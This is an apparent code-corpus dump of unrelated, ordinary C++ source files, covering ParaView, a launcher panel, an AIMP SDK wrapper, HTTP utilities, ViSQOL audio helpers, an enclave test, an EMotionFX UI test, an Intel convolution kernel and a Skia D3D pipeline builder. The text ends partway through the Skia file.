vtkSMGlobalPropertiesProxy::SetPropertyModifiedFlag(const char* name, int flag) { this->Superclass::SetPropertyModifiedFlag(name, flag); // Copy property value to all linked properties. bool prev = this->Internals->Updating; this->Internals->Updating = true; vtkSMProperty* globalProperty = this->GetProperty(name); vtkInternals::VectorOfValues& values = this->Internals->Links[name]; vtkInternals::VectorOfValues::iterator iter; for (iter = values.begin(); iter != values.end(); ++iter) { if (iter->Proxy.GetPointer() && iter->Proxy->GetProperty(iter->PropertyName.c_str())) { iter->Proxy->GetProperty(iter->PropertyName.c_str())->Copy(globalProperty); iter->Proxy->UpdateVTKObjects(); } } this->Internals->Updating = prev; } //---------------------------------------------------------------------------- void vtkSMGlobalPropertiesProxy::TargetPropertyModified(vtkObject* caller, unsigned long, void*) { if (this->Internals->Updating) { return; } // target property was modified on its own volition. Unlink it. vtkSMProperty* target = vtkSMProperty::SafeDownCast(caller); for (vtkInternals::LinksType::iterator mapIter = this->Internals->Links.begin(); mapIter != this->Internals->Links.end(); ++mapIter) { vtkInternals::VectorOfValues& values = mapIter->second; vtkInternals::VectorOfValues::iterator listIter; for (listIter = values.begin(); listIter != values.end(); ++listIter) { vtkInternals::vtkValue value = (*listIter); if (value.Proxy && (value.Proxy->GetProperty(value.PropertyName.c_str()) == target)) { value.RemoveObserver(); values.erase(listIter); return; } } } } //---------------------------------------------------------------------------- vtkPVXMLElement* vtkSMGlobalPropertiesProxy::SaveXMLState( vtkPVXMLElement* root, vtkSMPropertyIterator* iter) { (void)iter; if (!root) { return NULL; } vtkInternals::LinksType::iterator mapIter; for (mapIter = this->Internals->Links.begin(); mapIter != this->Internals->Links.end(); ++mapIter) { vtkInternals::VectorOfValues::iterator listIter; for (listIter = mapIter->second.begin(); listIter != mapIter->second.end(); ++listIter) { if (listIter->Proxy) { vtkPVXMLElement* linkElem = vtkPVXMLElement::New(); linkElem->SetName("GlobalPropertyLink"); linkElem->AddAttribute("global_name", mapIter->first.c_str()); linkElem->AddAttribute("proxy", listIter->Proxy->GetGlobalIDAsString()); linkElem->AddAttribute("property", listIter->PropertyName.c_str()); root->AddNestedElement(linkElem); linkElem->Delete(); } } } return root; } //---------------------------------------------------------------------------- int vtkSMGlobalPropertiesProxy::LoadXMLState(vtkPVXMLElement* element, vtkSMProxyLocator* locator) { if (!locator) { return 1; } unsigned int numElems = element->GetNumberOfNestedElements(); for (unsigned int cc = 0; cc < numElems; cc++) { vtkPVXMLElement* child = element->GetNestedElement(cc); if (!child->GetName() || strcmp(child->GetName(), "GlobalPropertyLink") != 0) { continue; } std::string global_name = child->GetAttributeOrEmpty("global_name"); std::string property = child->GetAttributeOrEmpty("property"); int proxyid = 0; child->GetScalarAttribute("proxy", &proxyid); vtkSMProxy* proxy = locator->LocateProxy(proxyid); if (!global_name.empty() && !property.empty() && proxy) { this->Link(global_name.c_str(), proxy, property.c_str()); } } return 1; } //---------------------------------------------------------------------------- void vtkSMGlobalPropertiesProxy::PrintSelf(ostream& os, vtkIndent indent) { this->Superclass::PrintSelf(os, indent); }
9,998
3,035
#include <iostream> #include <chrono> std::chrono::steady_clock::time_point get_time() { return std::chrono::steady_clock::now(); } int main(int argc, char** argv) { auto start = get_time(); std::cout << "Hello, I'm going to print out some stars I guess\n"; for(int i=0; i<1000; i++) { std::cout << "*"; } std::cout << "\n\n"; auto end = get_time(); auto dt = end - start; auto dtsec = std::chrono::duration_cast<std::chrono::seconds>(dt); double conv = std::chrono::steady_clock::duration::period::num*1.0 / std::chrono::steady_clock::duration::period::den; std::cout << "That took " << dt.count() << " ticks\n"; std::cout << "That took " << dt.count() * conv << " seconds\n"; }
742
278
#include <libsystem/process/Process.h> #include <libutils/FuzzyMatcher.h> #include <libwidget/Button.h> #include <libwidget/Label.h> #include <libwidget/Window.h> #include "panel/model/MenuEntry.h" #include "panel/widgets/ApplicationListing.h" namespace panel { ApplicationListing::ApplicationListing(Widget *parent) : VScroll(parent) { layout(VFLOW(4)); flags(Widget::FILL); insets(Insetsi(4)); render(); } void ApplicationListing::filter(const String &filter) { if (_filter == filter) { return; } _filter = filter; render(); } void ApplicationListing::render() { FuzzyMatcher matcher; host()->clear_children(); host()->layout(VFLOW(4)); bool find_any = false; MenuEntry::load().foreach ([&](auto &entry) { if (!matcher.match(_filter, entry.name)) { return Iteration::CONTINUE; } find_any = true; auto item = new Button(host(), Button::TEXT, entry.icon, entry.name); item->insets(Insetsi(8)); item->on(Event::ACTION, [this, entry](auto) { process_run(entry.command.cstring(), nullptr); window()->hide(); }); return Iteration::CONTINUE; }); if (!find_any) { new Label(host(), "No application found!", Anchor::CENTER); } } } // namespace panel
1,357
450
// ---------------------------------------------------- // AIMP DotNet SDK // Copyright (c) 2014 - 2020 Evgeniy Bogdan // https://github.com/martin211/aimp_dotnet // Mail: mail4evgeniy@gmail.com // ---------------------------------------------------- #include "Stdafx.h" #include "AimpDataStorageCommandUserMark.h" AimpDataStorageCommandUserMark::AimpDataStorageCommandUserMark( gcroot<MusicLibrary::Extension::Command::IAimpDataStorageCommandUserMark^> instance) { _instance = instance; } HRESULT WINAPI AimpDataStorageCommandUserMark::SetMark(VARIANT* ID, const DOUBLE Value) { return HRESULT(_instance->SetMark(AimpConverter::FromVaiant(ID), Value)->ResultType); } HRESULT WINAPI AimpDataStorageCommandUserMark::QueryInterface(REFIID riid, LPVOID* ppvObject) { *ppvObject = nullptr; if (riid == IID_IAIMPMLDataStorageCommandUserMark) { *ppvObject = this; AddRef(); return S_OK; } return E_NOINTERFACE; } ULONG WINAPI AimpDataStorageCommandUserMark::AddRef(void) { return Base::AddRef(); } ULONG WINAPI AimpDataStorageCommandUserMark::Release(void) { return Base::Release(); }
1,146
379
#include "utils.hpp" /** * split the given string with a single token, and return the vector of the splitted strings */ std::vector<std::string> split(const std::string& source, const std::string& find) { std::vector<std::string> res; std::string haystack(source); size_t pos = 0; std::string token; // find where the token is in the source while ((pos = haystack.find(find)) != std::string::npos) { // retrive the string before it token = haystack.substr(0, pos); // insert it in the result res.insert(res.end(), token); // remove it from the source haystack.erase(0, pos + find.length()); } // insert the last substring res.insert(res.end(), haystack); return res; } /** * Simply get the time formetted following RFC822 regulation on GMT time */ std::string getUTC() { // Get the date in UTC/GMT time_t unixtime; tm UTC; char buffer[80]; // set unix time on unixtime time(&unixtime); gmtime_r(&unixtime, &UTC); // format based on rfc822 revision rfc1123 strftime(buffer, 80, "%a, %d %b %Y %H:%M:%S GMT", &UTC); return std::string(buffer); } /** * Decode url character (%20 => " ") to ascii character, NOT MINE, JUST COPY PASTED * Thank you ThomasH, https://stackoverflow.com/users/2012498/thomash at https://stackoverflow.com/questions/2673207/c-c-url-decode-library/2766963, */ void urlDecode(char* dst, const char* src) { char a, b; while (*src) { if ((*src == '%') && ((a = src[1]) && (b = src[2])) && (isxdigit(a) && isxdigit(b))) { if (a >= 'a') a -= 'a' - 'A'; if (a >= 'A') a -= ('A' - 10); else a -= '0'; if (b >= 'a') b -= 'a' - 'A'; if (b >= 'A') b -= ('A' - 10); else b -= '0'; *dst++ = 16 * a + b; src += 3; } else if (*src == '+') { *dst++ = ' '; src++; } else { *dst++ = *src++; } } *dst++ = '\0'; } /** * compress data to gzip * used this (https://github.com/mapbox/gzip-hpp/blob/master/include/gzip/compress.hpp) as a reference */ void compressGz(std::string& output, const char* data, std::size_t size) { z_stream deflate_s; deflate_s.zalloc = Z_NULL; deflate_s.zfree = Z_NULL; deflate_s.opaque = Z_NULL; deflate_s.avail_in = 0; deflate_s.next_in = Z_NULL; constexpr int window_bits = 15 + 16; // gzip with windowbits of 15 constexpr int mem_level = 8; if (deflateInit2(&deflate_s, Z_BEST_COMPRESSION, Z_DEFLATED, window_bits, mem_level, Z_DEFAULT_STRATEGY) != Z_OK) { throw std::runtime_error("deflate init failed"); } deflate_s.next_in = (Bytef*) data; deflate_s.avail_in = (uInt) size; std::size_t size_compressed = 0; do { size_t increase = size / 2 + 1024; if (output.size() < (size_compressed + increase)) { output.resize(size_compressed + increase); } deflate_s.avail_out = static_cast<unsigned int>(increase); deflate_s.next_out = reinterpret_cast<Bytef*>((&output[0] + size_compressed)); deflate(&deflate_s, Z_FINISH); size_compressed += (increase - deflate_s.avail_out); } while (deflate_s.avail_out == 0); deflateEnd(&deflate_s); output.resize(size_compressed); }
3,179
1,408
// Copyright 2019 Google LLC, Andrew Hines // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "misc_audio.h" #include <assert.h> #include <algorithm> #include <cmath> #include <fstream> #include <memory> #include <sstream> #include <utility> #include <vector> #include "absl/base/internal/raw_logging.h" #include "wav_reader.h" namespace Visqol { const size_t MiscAudio::kNumChanMono = 1; const double MiscAudio::kZeroSample = 0.0; const double MiscAudio::kSplReferencePoint = 0.00002; const double kNoiseFloorRelativeToPeakDb = 45.; const double kNoiseFloorAbsoluteDb = -45.; AudioSignal MiscAudio::ScaleToMatchSoundPressureLevel( const AudioSignal &reference, const AudioSignal &degraded) { const double ref_spl = MiscAudio::CalcSoundPressureLevel(reference); const double deg_spl = MiscAudio::CalcSoundPressureLevel(degraded); const double scale_factor = std::pow(10, (ref_spl - deg_spl) / 20); const auto scaled_mat = degraded.data_matrix * scale_factor; AudioSignal scaled_sig{std::move(scaled_mat), degraded.sample_rate}; return scaled_sig; } double MiscAudio::CalcSoundPressureLevel(const AudioSignal &signal) { const auto &data_matrix = signal.data_matrix; double sum = 0; std::for_each(data_matrix.cbegin(), data_matrix.cend(), [&](const double &datum) { sum += std::pow(datum, 2); }); const double sound_pressure = std::sqrt(sum / data_matrix.NumElements()); return 20 * std::log10(sound_pressure / kSplReferencePoint); } // Combines the data from all channels into a single channel. AMatrix<double> MiscAudio::ToMono(const AMatrix<double> &signal) { // If already Mono, nothing to do. if (signal.NumCols() > kNumChanMono) { auto mono_mat = AMatrix<double>::Filled(signal.NumRows(), kNumChanMono, kZeroSample); for (size_t chan_i = 0; chan_i < signal.NumCols(); chan_i++) { for (size_t sample_i = 0; sample_i < signal.NumRows(); sample_i++) { mono_mat(sample_i, 0) += signal(sample_i, chan_i); } } return mono_mat / signal.NumCols(); } else { return signal; } } // Combines the data from all channels into a single channel. AudioSignal MiscAudio::ToMono(const AudioSignal &signal) { // If already Mono, nothing to do. if (signal.data_matrix.NumCols() > kNumChanMono) { const AMatrix<double> sig_mid_mat(MiscAudio::ToMono(signal.data_matrix)); AudioSignal sig_mid; sig_mid.data_matrix = std::move(sig_mid_mat); sig_mid.sample_rate = signal.sample_rate; return sig_mid; } else { return signal; } } AudioSignal MiscAudio::LoadAsMono(const FilePath &path) { AudioSignal sig; std::ifstream wav_file(path.Path().c_str(), std::ios::binary); if (wav_file) { std::stringstream wav_string_stream; wav_string_stream << wav_file.rdbuf(); wav_file.close(); WavReader wav_reader(&wav_string_stream); const size_t num_total_samples = wav_reader.GetNumTotalSamples(); if (wav_reader.IsHeaderValid() && num_total_samples != 0) { std::vector<int16_t> interleaved_samples(num_total_samples); const auto num_samp_read = wav_reader.ReadSamples(num_total_samples, &interleaved_samples[0]); // Certain wav files are 'mostly valid' and have a slight difference with // the reported file length. Warn for these. if (num_samp_read != num_total_samples) { ABSL_RAW_LOG(WARNING, "Number of samples read (%lu) was less than the expected" " number (%lu).", num_samp_read, num_total_samples); } if (num_samp_read > 0) { const auto interleaved_norm_vec = MiscMath::NormalizeInt16ToDouble( interleaved_samples); const auto multi_chan_norm_vec = ExtractMultiChannel( wav_reader.GetNumChannels(), interleaved_norm_vec); const AMatrix<double> outMat(multi_chan_norm_vec); sig.data_matrix = outMat; sig.sample_rate = wav_reader.GetSampleRateHz(); sig = MiscAudio::ToMono(sig); } else { ABSL_RAW_LOG(ERROR, "Error reading data for file %s.", path.Path().c_str()); } } else { ABSL_RAW_LOG(ERROR, "Error reading header for file %s.", path.Path().c_str()); } } else { ABSL_RAW_LOG(ERROR, "Could not find file %s.", path.Path().c_str()); } return sig; } std::vector<std::vector<double>> MiscAudio::ExtractMultiChannel( const int num_channels, const std::vector<double> &interleaved_vector) { assert(interleaved_vector.size() % num_channels == 0); const size_t sub_vector_size = interleaved_vector.size() / num_channels; std::vector<std::vector<double>> multi_channel_vec( num_channels, std::vector<double>(sub_vector_size)); auto itr = interleaved_vector.cbegin(); for (size_t sample = 0; sample < sub_vector_size; sample++) { for (int channel = 0; channel < num_channels; channel++) { multi_channel_vec[channel][sample] = *itr; itr++; } } return multi_channel_vec; } void MiscAudio::PrepareSpectrogramsForComparison( Spectrogram &reference, Spectrogram &degraded) { reference.ConvertToDb(); degraded.ConvertToDb(); // An absolute threshold is also applied. reference.RaiseFloor(kNoiseFloorAbsoluteDb); degraded.RaiseFloor(kNoiseFloorAbsoluteDb); // Apply a per-frame relative threshold. // Note that this is not an STFT spectrogram, the spectrogram bins // here are each the RMS of a band filter output on the time domain signal. reference.RaiseFloorPerFrame(kNoiseFloorRelativeToPeakDb, degraded); // Normalize to a 0dB global floor (which is probably kNoiseFloorAbsoluteDb). double ref_floor = reference.Minimum(); double deg_floor = degraded.Minimum(); double lowest_floor = std::min(ref_floor, deg_floor); reference.SubtractFloor(lowest_floor); degraded.SubtractFloor(lowest_floor); } } // namespace Visqol
6,542
2,226
// Copyright (c) Open Enclave SDK contributors. // Licensed under the MIT License. #include <openenclave/host.h> #include <openenclave/internal/tests.h> #include <cstdio> #include <thread> #include "epoll_u.h" using namespace std; int main(int argc, const char* argv[]) { oe_result_t r; const uint32_t flags = oe_get_create_flags(); const oe_enclave_type_t type = OE_ENCLAVE_TYPE_SGX; if (argc != 2) { fprintf(stderr, "Usage: %s ENCLAVE_PATH\n", argv[0]); return 1; } oe_enclave_t* enclave; r = oe_create_epoll_enclave(argv[1], type, flags, NULL, 0, &enclave); OE_TEST(r == OE_OK); set_up(enclave); thread wait_thread( [enclave] { OE_TEST(wait_for_events(enclave) == OE_OK); }); this_thread::sleep_for(100ms); // give wait_thread time to initialize for (int i = 0; i < 100; ++i) { OE_TEST(trigger_and_add_event(enclave) == OE_OK); OE_TEST(trigger_and_delete_event(enclave) == OE_OK); } cancel_wait(enclave); wait_thread.join(); tear_down(enclave); r = oe_terminate_enclave(enclave); OE_TEST(r == OE_OK); printf("=== passed all tests (epoll)\n"); fflush(stdout); return 0; }
1,218
497
/* * All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or * its licensors. * * For complete copyright and license terms please see the LICENSE at the root of this * distribution (the "License"). All use of this software is governed by the License, * or, if provided, by the license below or the license accompanying this file. Do not * remove or modify any license notices. This file is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * */ #include <gtest/gtest.h> #include <Tests/UI/UIFixture.h> #include <EMotionFX/CommandSystem/Source/CommandManager.h> #include <EMotionFX/Source/AnimGraphManager.h> #include <EMotionFX/Source/AnimGraphMotionNode.h> #include <EMotionFX/Source/AnimGraphStateMachine.h> #include <EMotionStudio/Plugins/StandardPlugins/Source/AnimGraph/AnimGraphPlugin.h> #include <QApplication> #include <QtTest> #include "qtestsystem.h" #include <EMotionStudio/Plugins/StandardPlugins/Source/AnimGraph/AttributesWindow.h> #include <Source/Editor/ObjectEditor.h> #include <AzToolsFramework/UI/PropertyEditor/PropertyRowWidget.hxx> #include <EMotionFX/Source/AnimGraphPlayTimeCondition.h> #include <AzQtComponents/Components/Widgets/CardHeader.h> namespace EMotionFX { class RemoveTransitionConditionFixture : public UIFixture { public: void SetUp() override { UIFixture::SetUp(); AZStd::string commandResult; MCore::CommandGroup group; // Create empty anim graph, add a motion node and a blend tree. group.AddCommandString(AZStd::string::format("CreateAnimGraph -animGraphID %d", m_animGraphId)); group.AddCommandString(AZStd::string::format("AnimGraphCreateNode -animGraphID %d -type %s -parentName Root -xPos 100 -yPos 100 -name testMotion", m_animGraphId, azrtti_typeid<AnimGraphMotionNode>().ToString<AZStd::string>().c_str())); group.AddCommandString(AZStd::string::format("AnimGraphCreateNode -animGraphID %d -type %s -parentName Root -xPos 200 -yPos 100 -name testBlendTree", m_animGraphId, azrtti_typeid<BlendTree>().ToString<AZStd::string>().c_str())); group.AddCommandString(AZStd::string::format("AnimGraphCreateConnection -animGraphID %d -transitionType %s -sourceNode testMotion -targetNode testBlendTree", m_animGraphId, azrtti_typeid<AnimGraphStateTransition>().ToString<AZStd::string>().c_str())); EXPECT_TRUE(CommandSystem::GetCommandManager()->ExecuteCommandGroup(group, commandResult)) << commandResult.c_str(); m_animGraph = GetAnimGraphManager().FindAnimGraphByID(m_animGraphId); EXPECT_NE(m_animGraph, nullptr) << "Cannot find newly created anim graph."; } void TearDown() override { QApplication::processEvents(QEventLoop::ExcludeUserInputEvents); delete m_animGraph; UIFixture::TearDown(); } public: const AZ::u32 m_animGraphId = 64; AnimGraph* m_animGraph = nullptr; }; TEST_F(RemoveTransitionConditionFixture, RemoveTransitionConditions) { RecordProperty("test_case_id", "C15031141"); auto animGraphPlugin = static_cast<EMStudio::AnimGraphPlugin*>(EMStudio::GetPluginManager()->FindActivePlugin(EMStudio::AnimGraphPlugin::CLASS_ID)); ASSERT_TRUE(animGraphPlugin) << "Anim graph plugin not found."; EMStudio::AnimGraphModel& animGraphModel = animGraphPlugin->GetAnimGraphModel(); // Find the transition between the motion node and the blend tree. AnimGraphStateTransition* transition = m_animGraph->GetRootStateMachine()->GetTransition(0); ASSERT_TRUE(transition) << "Anim graph transition not found."; // Select the transition in the anim graph model. const QModelIndex& modelIndex = animGraphModel.FindFirstModelIndex(transition); const EMStudio::AnimGraphModel::ModelItemType itemType = modelIndex.data(EMStudio::AnimGraphModel::ROLE_MODEL_ITEM_TYPE).value<EMStudio::AnimGraphModel::ModelItemType>(); ASSERT_TRUE(modelIndex.isValid()) << "Anim graph transition has an invalid model index."; animGraphModel.GetSelectionModel().select(QItemSelection(modelIndex, modelIndex), QItemSelectionModel::Current | QItemSelectionModel::ClearAndSelect | QItemSelectionModel::Rows); // Ensure Theere is no initial condition ASSERT_EQ(0, transition->GetNumConditions()) << " Anim Graph Should not have a condition"; // Create Condition // Find and "click" on Add Condition button EMStudio::AddConditionButton* addConditionButton = m_animGraphPlugin->GetAttributesWindow()->GetAddConditionButton(); ASSERT_TRUE(addConditionButton) << "Add Condition button was not found"; addConditionButton->OnCreateContextMenu(); // Add a specific condition QAction* addPlayTimeConditionButton = RemoveTransitionConditionFixture::GetNamedAction(m_animGraphPlugin->GetAttributesWindow(), "Play Time Condition"); ASSERT_TRUE(addPlayTimeConditionButton) << "'Play Time Condition' button was not found"; addPlayTimeConditionButton->trigger(); // Ensure Condition is created ASSERT_EQ(1, transition->GetNumConditions()) << " Anim Graph transition condition should have been made removed"; // Find the created Condition auto transitionCondition = transition->GetCondition(0); auto objectEditor = animGraphPlugin->GetAttributesWindow()->findChild<QWidget*>("EMFX.AttributesWindowWidget.NodeTransition.ConditionsWidget"); ASSERT_TRUE(objectEditor); const AzQtComponents::CardHeader* cardHeader = objectEditor->findChild<AzQtComponents::CardHeader*>(); ASSERT_TRUE(cardHeader) << "Transition Condition CardHeader not found."; const QFrame* frame = cardHeader->findChild<QFrame*>("Background"); ASSERT_TRUE(frame) << "Transtion Condition CardHeader Background Frame not found."; QPushButton* contextMenubutton = frame->findChild< QPushButton*>("ContextMenu"); ASSERT_TRUE(contextMenubutton) << "Transition Condition ContextMenu not found."; // Pop up the context menu. QTest::mouseClick(contextMenubutton, Qt::LeftButton); QAction* deleteAction = RemoveTransitionConditionFixture::GetNamedAction(animGraphPlugin->GetAttributesWindow(), "Delete condition"); ASSERT_TRUE(deleteAction) << "Delete Condition Action not found"; deleteAction->trigger(); // Check if the Condition get deleted. ASSERT_EQ(0, transition->GetNumConditions()) << " Anim Graph transition condition should be removed"; } } // namespace EMotionFX
6,819
1,917
// Copyright (c) 2020 Intel Corporation // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "convolution_kernel_imad_bs_fs_yx_bsv16_fsv16_3x3.h" #include "kernel_selector_utils.h" #include "common_tools.h" #include <vector> #include <iostream> // // Kernel specific constants // #define SIMD_SIZE 16 namespace kernel_selector { ParamsKey Convolution_kernel_imad_bs_fs_yx_bsv16_fsv16_3x3::GetSupportedKey() const { ParamsKey k; k.EnableInputDataType(Datatype::INT8); k.EnableInputDataType(Datatype::UINT8); k.EnableOutputDataType(Datatype::INT8); k.EnableOutputDataType(Datatype::UINT8); k.EnableOutputDataType(Datatype::F32); k.EnableInputWeightsType(WeightsType::INT8); k.EnableInputLayout(DataLayout::bs_fs_yx_bsv16_fsv16); k.EnableOutputLayout(DataLayout::bs_fs_yx_bsv16_fsv16); k.EnableDifferentTypes(); k.EnableDifferentInputWeightsTypes(); k.EnableTensorOffset(); k.EnableTensorPitches(); k.EnableBiasPerFeature(); k.EnableNonBiasTerm(); k.EnableBatching(); k.EnableQuantization(QuantizationType::SYMMETRIC); k.DisableTuning(); return k; } KernelsData Convolution_kernel_imad_bs_fs_yx_bsv16_fsv16_3x3::GetKernelsData(const Params& params, const optional_params& options) const { return GetCommonKernelsData(params, options); } JitConstants Convolution_kernel_imad_bs_fs_yx_bsv16_fsv16_3x3::GetJitConstants(const convolution_params& params, const DispatchData& kd) const { auto mem_consts = Parent::GetJitConstants(params, kd); if (!params.fused_ops.empty()) { auto input_dt = GetActivationType(params); FusedOpsConfiguration conf_scalar = {"", {"out_b", "out_f + get_sub_group_local_id()", "out_y", "out_x"}, "dequantized", input_dt, 1, LoadType::FEATURE_SHUFFLE}; conf_scalar.SetLoopAxes({ Tensor::DataChannelName::BATCH }, true); conf_scalar.SetShuffleVarName("i"); mem_consts.Merge(MakeFusedOpsJitConstants(params, {conf_scalar})); } return mem_consts; } // GetJitConstants ConvolutionKernelBase::DispatchData Convolution_kernel_imad_bs_fs_yx_bsv16_fsv16_3x3::SetDefault(const convolution_params& params, int) const { DispatchData kd; const auto& output = params.output; std::vector<size_t> global = {output.X().v, output.Y().v, output.Feature().v / 16 * output.Batch().v}; std::vector<size_t> local = {1, 1, SIMD_SIZE}; kd.gws0 = global[0]; kd.gws1 = global[1]; kd.gws2 = global[2]; kd.lws0 = local[0]; kd.lws1 = local[1]; kd.lws2 = local[2]; kd.cldnnStyle = {0, 0, 0, 0, 0}; kd.gemmStyle = {0, 0, 0, 0, 0, 0}; kd.efficiency = FORCE_PRIORITY_2; return kd; } // SetDefault bool Convolution_kernel_imad_bs_fs_yx_bsv16_fsv16_3x3::Validate(const Params& params, const optional_params& options) const { if (!Parent::Validate(params, options)) { return false; } KernelData kd = KernelData::Default<convolution_params>(params); convolution_params& newParams = *static_cast<convolution_params*>(kd.params.get()); if ((newParams.filterSize.x != newParams.filterSize.y) || newParams.filterSize.x != 3) { // Fitler size needs to be 3x3 return false; } if (newParams.stride.x != newParams.stride.y) { // Strides must be equal return false; } if (newParams.output.X().v != newParams.output.Y().v) { // W and H must be equal return false; } if (newParams.output.Feature().v % 16 != 0) { // output feature size must be divided by 16 return false; } if (newParams.output.Batch().v % 16 != 0) { // batch size must be divided by 16 return false; } // check that all fused ops except eltwise have only feature or scalar inputs for (auto& fo : newParams.fused_ops) { if (fo.GetType() == FusedOpType::ELTWISE) continue; for (auto& input : fo.tensors) { if (input.X().v != 1 || input.Y().v != 1 || input.Batch().v != 1) return false; } } return true; } } // namespace kernel_selector
4,869
1,707
/* * Copyright 2020 Google LLC * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ //#include <d3dcompiler.h> #include "src/gpu/ganesh/d3d/GrD3DPipelineStateBuilder.h" #include "include/gpu/GrDirectContext.h" #include "include/gpu/d3d/GrD3DTypes.h" #include "src/core/SkReadBuffer.h" #include "src/core/SkTraceEvent.h" #include "src/gpu/ganesh/GrAutoLocaleSetter.h" #include "src/gpu/ganesh/GrDirectContextPriv.h" #include "src/gpu/ganesh/GrPersistentCacheUtils.h" #include "src/gpu/ganesh/GrShaderCaps.h" #include "src/gpu/ganesh/GrStencilSettings.h" #include "src/gpu/ganesh/d3d/GrD3DGpu.h" #include "src/gpu/ganesh/d3d/GrD3DPipeline.h" #include "src/gpu/ganesh/d3d/GrD3DRenderTarget.h" #include "src/gpu/ganesh/d3d/GrD3DRootSignature.h" #include "src/gpu/ganesh/d3d/GrD3DUtil.h" #include "src/sksl/SkSLCompiler.h" #include "src/utils/SkShaderUtils.h" #include <d3dcompiler.h> std::unique_ptr<GrD3DPipelineState> GrD3DPipelineStateBuilder::MakePipelineState( GrD3DGpu* gpu, GrD3DRenderTarget* renderTarget, const GrProgramDesc& desc, const GrProgramInfo& programInfo) { // ensure that we use "." as a decimal separator when creating SkSL code GrAutoLocaleSetter als("C"); // create a builder. This will be handed off to effects so they can use it to add // uniforms, varyings, textures, etc GrD3DPipelineStateBuilder builder(gpu, renderTarget, desc, programInfo); if (!builder.emitAndInstallProcs()) { return nullptr; } return builder.finalize(); } GrD3DPipelineStateBuilder::GrD3DPipelineStateBuilder(GrD3DGpu* gpu, GrD3DRenderTarget* renderTarget, const GrProgramDesc& desc, const GrProgramInfo& programInfo) : INHERITED(desc, programInfo) , fGpu(gpu) , fVaryingHandler(this) , fUniformHandler(this) , fRenderTarget(renderTarget) {} const GrCaps* GrD3DPipelineStateBuilder::caps() const { return fGpu->caps(); } SkSL::Compiler* GrD3DPipelineStateBuilder::shaderCompiler() const { return fGpu->shaderCompiler(); } void GrD3DPipelineStateBuilder::finalizeFragmentOutputColor(GrShaderVar& outputColor) { outputColor.addLayoutQualifier("location = 0, index = 0"); } void GrD3DPipelineStateBuilder::finalizeFragmentSecondaryColor(GrShaderVar& outputColor) { outputColor.addLayoutQualifier("location = 0, index = 1"); } // Print the source code for all shaders generated. static const bool gPrintSKSL = false; static const bool gPrintHLSL = false; static gr_cp<ID3DBlob> GrCompileHLSLShader(GrD3DGpu* gpu, const std::string& hlsl, SkSL::ProgramKind kind) { TRACE_EVENT0("skia.shaders", "driver_compile_shader"); const char* compileTarget = nullptr; switch (kind) { case SkSL::ProgramKind::kVertex: compileTarget = "vs_5_1"; break; case SkSL::ProgramKind::kFragment: compileTarget = "ps_5_1"; break; default: SkUNREACHABLE; } uint32_t compileFlags = 0; #ifdef SK_DEBUG // Enable better shader debugging with the graphics debugging tools. compileFlags |= D3DCOMPILE_DEBUG | D3DCOMPILE_SKIP_OPTIMIZATION; #endif // SPRIV-cross does matrix multiplication expecting row major matrices compileFlags |= D3DCOMPILE_PACK_MATRIX_ROW_MAJOR; gr_cp<ID3DBlob> shader; gr_cp<ID3DBlob> errors; HRESULT hr = D3DCompile(hlsl.c_str(), hlsl.length(), nullptr, nullptr, nullptr, "main", compileTarget, compileFlags, 0, &shader, &errors); if (!SUCCEEDED(hr)) { gpu->getContext()->priv().getShaderErrorHandler()->compileError( hlsl.c_str(), reinterpret_cast<char*>(errors->GetBufferPointer())); } return shader; } bool GrD3DPipelineStateBuilder::loadHLSLFromCache(SkReadBuffer* reader, gr_cp<ID3DBlob> shaders[]) { std::string hlsl[kGrShaderTypeCount]; SkSL::Program::Inputs inputs[kGrShaderTypeCount]; if (!GrPersistentCacheUtils::UnpackCachedShaders(reader, hlsl, inputs, kGrShaderTypeCount)) { return false; } auto compile = [&](SkSL::ProgramKind kind, GrShaderType shaderType) { if (inputs[shaderType].fUseFlipRTUniform) { this->addRTFlipUniform(SKSL_RTFLIP_NAME); } shaders[shaderType] = GrCompileHLSLShader(fGpu, hlsl[shaderType], kind); return shaders[shaderType].get(); }; return compile(SkSL::ProgramKind::kVertex, kVertex_GrShaderType) && compile(SkSL::ProgramKind::kFragment, kFragment_GrShaderType); } gr_cp<ID3DBlob> GrD3DPipelineStateBuilder::compileD3DProgram( SkSL::ProgramKind kind, const std::string& sksl, const SkSL::Program::Settings& settings, SkSL::Program::Inputs* outInputs, std::string* outHLSL) { #ifdef SK_DEBUG std::string src = SkShaderUtils::PrettyPrint(sksl); #else const std::string& src = sksl; #endif std::unique_ptr<SkSL::Program> program = fGpu->shaderCompiler()->convertProgram( kind, src, settings); if (!program || !fGpu->shaderCompiler()->toHLSL(*program, outHLSL)) { auto errorHandler = fGpu->getContext()->priv().getShaderErrorHandler(); errorHandler->compileError(src.c_str(), fGpu->shaderCompiler()->errorText().c_str()); return gr_cp<ID3DBlob>(); } *outInputs = program->fInputs; if (gPrintSKSL || gPrintHLSL) { SkShaderUtils::PrintShaderBanner(kind); if (gPrintSKSL) { SkDebugf("SKSL:\n"); SkShaderUtils::PrintLineByLine(SkShaderUtils::PrettyPrint(sksl)); } if (gPrintHLSL) { SkDebugf("HLSL:\n"); SkShaderUtils::PrintLineByLine(SkShaderUtils::PrettyPrint(*outHLSL)); } } if (program->fInputs.fUseFlipRTUniform) { this->addRTFlipUniform(SKSL_RTFLIP_NAME); } return GrCompileHLSLShader(fGpu, *outHLSL, kind); } static DXGI_FORMAT attrib_type_to_format(GrVertexAttribType type) { switch (type) { case kFloat_GrVertexAttribType: return DXGI_FORMAT_R32_FLOAT; case kFloat2_GrVertexAttribType: return DXGI_FORMAT_R32G32_FLOAT; case kFloat3_GrVertexAttribType: return DXGI_FORMAT_R32G32B32_FLOAT; case kFloat4_GrVertexAttribType: return 